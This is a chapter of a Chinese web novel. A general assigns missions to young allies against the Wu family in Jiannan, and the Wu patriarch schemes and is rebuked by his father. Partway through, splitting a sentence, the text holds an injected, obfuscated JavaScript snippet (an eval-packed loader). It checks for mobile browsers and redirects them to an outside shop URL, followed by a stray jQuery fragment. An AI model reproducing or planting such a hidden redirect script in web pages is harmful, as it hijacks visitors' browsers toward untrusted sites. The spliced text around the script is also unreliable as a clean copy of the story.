“可就算武家行动了,那两千多人光靠我爹的兵……”
徐乐延是知道自家军队的小队分布人数的,不过若是以少打多的话,若是由将军带队应当是没问题的。
李牧然抿了抿嘴唇,看向一脸忧思的徐乐延。徐清河这个老家伙什么也没告诉他儿子吗?有时候真的搞不清他脑袋里在想些什么。
“放心,你爹此番调来了两个小队,你放心差遣便是。”
“哦,那就好。”听到将军说来了两个小队,徐乐延的心终于放下了一些,然后便瞬间从座位上弹起,惊讶地问道:
“我?谁差遣?我?”
“你们家的兵,不由你来领队,难不成由我?”
李牧然翻了个大白眼,对徐乐延的震惊不以为意。左右都历练这么多了,掌个兵什么的怕也不在话下了,到时候就派蒋逸跟着他,应该不成问题。
毕竟是私兵,还被困于山中,并没有那么难以处理。
李牧然经验充足,丝毫不觉得这对一个从来没接触过兵法,从小远离军队的徐乐延来说是一个多么大的挑战。
李长乐看着惊慌失措,丢了半个魂儿的徐乐延有些不忍,安慰的说道:“没关系,我陪着你,不会有问题的。”
“谁说你没有任务了?”李牧然理直气壮的阻止了李长乐想要助人的心,并贴心地为二人安排好了其他任务。
“家里的这些兄弟,你带着,我另有打算。”
“那我可以陪乐延啊!”宋延年一听长乐被派离,立刻主动请缨,但也被李牧然严词拒绝了。
“你和书韫去调遣衙门守卫和驻城军。”
“那知府归顺了?”
“那我怎么办?”
宋延年和徐乐延的声音一同响起,这让李牧然有些恍惚,仿佛又突然间回到了他们小时候经常一起说话吵得他头疼日子。
李牧然挠了挠头,一个一个回答。
“你有什么怎么办的,五千人给你有什么好怕的,怕什么?”
“可书上说,攻城要十倍兵力……”
“你爹给你看的什么烂书!你就是书读得太多,这次正好给你实践的机会,免得陷入纸上谈兵的困境。”
“可……”
“没有可不可的,到时候蒋逸跟你一起,你怕什么?”
李牧然有些心虚,他不就是借了蒋逸用几天,他这儿人手不够,孩子们那儿又不需要那么多人。难不成是因为蒋逸不在,这孩子才如此没安全感?
听到自己身边安排了人,徐乐延受惊的心稍微有些缓和,但依旧眉头紧皱,陷入了无尽的焦虑之中。
李牧然看这个暂时不说话了,便开始回答宋延年的问题。
“那知府向来是个会审时度势的,这几日,我给了他很多暗示,他也能猜得到。解家小子陪你同去,也会给那王奕枫心里交个底。我们这边真要失败了,有皇子和解家担保,他也不会被牵连。”
“他倒是会算计。”李长乐撇了撇嘴,对剑南摊上这种父母官十分厌恶。
“不过我们什么时候行动?”李长乐有些等不及,想立刻将这群蛀虫消灭掉,省的让他们再继续祸害剑南的百姓。
“快了,武家的证据貌似已经收集的差不多了。”
李牧然看向了窗外,按最近的消息来看,武家过不了两天就会有大动作。他上次的威胁已经让武宗扬知道了他可能知晓云放的存在,那武宗扬必须让他们尽快离开剑南才行。
而他们离开剑南的唯一可能,就是这次剑南事件的彻底结束。为此,武家的人可比他们还要努力的找着“证据”。
李牧然看着解书韫,眼底笑意明显。
“到最后一日,武家究竟能被撕下多少肉,就看你们解家的招式够不够狠了。”
“晚辈知晓,绝不会让将军失望。”
“嗯。”李牧然没多嘱咐解书韫,毕竟在他看来,虽说解书韫没比这群孩子年长多少,但毕竟是从家族长起来的孩子。和自己家的这群比起来,压根不是一个赛道上的人物。
而后,他又看了一眼徐乐延,这些孩子中,本来在最初,他最不担心的就是乐延,可是现在他最发愁的也是乐延。这孩子让他爹磋磨的一点儿勇气和信心都没有。
剑南的封城还没结束,除了那日他们进城那天,制造出的城门处的繁荣假象外。那城门一直处于封闭的状态,到时候乐延出城……
“到时候你带着齐誉一起去,他对剑南很熟,现在城门依旧封闭,检查森严。也只有靠他才能神不知鬼不觉的出城,毕竟剑南的消息,当初就是他带出来的。”
李牧然看着依旧没缓过来的徐乐延多提了一嘴,原以为知道能多带一个同龄人,会让他的心态有所缓和。
可李牧然分明能察觉到,在他说完话的时候,乐延的眼神明显的暗淡了下来。
他说错什么了吗?他们两个孩子之间的关系不太好?
李牧然狐疑地看着李长乐,但李长乐光顾着沉浸在自己要带家里的兵出任务的兴奋中,根本没空看他。
“若是还有担心,就让蒋逸主持大局。”
李牧然不死心地又多说了一句,徐乐延的眼神却突然如同死水一般。
算了,他不说了。
“那今日就先这样,武家有行动后我会通知你们,到时各自行动便可。”
赶紧都走吧,一个两个的都不让人省心。
李长乐和宋延年一直有些亢奋,甚至对李牧然的突然赶人一点儿反应也没有,一直叽叽喳喳地聊着到时候要怎么出招才最风光。
走出房门的时候连招呼都没同李牧然打,气得李牧然坐在椅子上直咬后槽牙。
“那将军,我们就先告退了。”
解书韫同李牧然鞠了一躬后,才跟着几人一起离开。
李牧然看了看远处依旧没注意到自己的自家闺女,突然叹了口气,将门口的小斯召了进来。
“桌上那个不知道谁给的糕点,拿去给乐延……算了,给长乐吧,反正他们都会一起吃。”
唉!
李牧然望着房顶无声叹气,果然还都是孩子啊。长大的事儿总归是急不得,不过看孩子可真难啊……
正如李牧然所料,武宗扬在急切地搜集着武、解两家的证据。
只不过相对于魏家,解家的更不好找一些。解家虽自诩名门望族,恪守君子礼节,但总有一些贪心之辈,手脚不太干净。
只不过这点儿证据根本算不得什么,远远达不到能将解家彻底拉下来的水准。
“王奕枫好像这两天都没什么动静了。”
武宗扬并不意外王知府此刻躲着他。上次的试探,他就已
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13116769|131064||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
经知道王奕枫有毁约的意图。就是没成想,竟会来得这般迅速与坚决。
也可能并不是毁约,依他那个性子,更大的可能是躲在暗处将自己置于斗争之外,保全自己。毕竟他那种人能敏感的察觉到萦绕在他与李牧然之间的紧张氛围。
那头猪,可不是只蠢的。
不过没关系,他那边的锚已经抛了下去,他人在哪儿都无所谓。
到最后时刻,要不要继续躲着,可由不得他。
“云放那边可有安排妥当?”
“回家主,已经安排好了。我们安插在魏家的人在盯着他,一有行动便会立刻通知家主。”
“嗯。”
云放可不是个安分的人,武宗扬一开始就在疑惑,为什么李牧然会怀疑有其他势力参与在剑南的事件当中。他有自信自己这边并无纰漏,那就只可能是那云放那边有问题。
也许,他带回来的解承珏并不单纯如他一开始所说的那般,和他是简单的利用关系。
云放并不想单纯的同他武家合作,这一点他从一开始就知道。与北齐合作,谁还能全然交付信任不是?如此,他睁一只眼闭一只眼,也就过去了。
可是他若是拖了他的后腿,挡了他的路,那可就不行了。
合作对象随时都可以换,但他武家可不能出半分闪失。
“若是他依旧报了别的心思,那就让他被魏家的人处理了就好。”
“是。”那人领了命,便缓缓退了出去。
门外,一位长者拄着拐杖走了进来。
“计划有问题了?”
“父亲,您来了。”武宗扬起身搀扶,却被他父亲用拐杖将手打到一边。
“废物,如此重要之事,怎么能够办砸?家主当了这么多年就没有什么长进不成?”
屋内并无他人,否则武昭序不会如此对待长子,不管怎么样,武家家主的面子他还是要维护的。
他喘着粗气坐在了武宗扬之前所在的位置,将身侧的茶水愤怒地摔在了地上。
“当初我和你的伯父们就说不要给那个李牧然什么面子,就算他是将军又怎样?只要他不是带着他的军队来剑南,就没道理让他压上一头。现在可倒好,处处行事备受限制,这次的计划要是失败,我倒要看看你如何同武家交代,如何同宁家交代!”
武宗扬低着头,走到父亲身侧,半跪着重新倒了一杯茶,用双手举过头顶。
武昭序并没有接过茶的意思,而是长舒一口气,语气不再似一开始的愤怒、急躁,反而带了些苦口婆心。
“我们只能是二皇子一派,你可知道?”
“儿子知道。”
“你知道就好,其他世族或许还会为了利益,支持别的皇子,但我们和宁家的关系摆在那儿,我们没有选择。”
“儿子知道。”
武宗扬毕恭毕敬地回答着,毫无反驳之意。
见儿子并非像他兄弟同他告状时形容的那般一意孤行,武昭序语气放软,开始说起今日来的目的:
“宁家昨日派人传了话,李牧然此行意在对付的其实是我们武家。正如我们之前怀疑的一样,那边派了个如此重要的任务来剑南,定不只是为了几个没用的学生,你尽快准备一番,快些将这大神送走。若是真没什么法子,对付那几个小的也并不是不可。”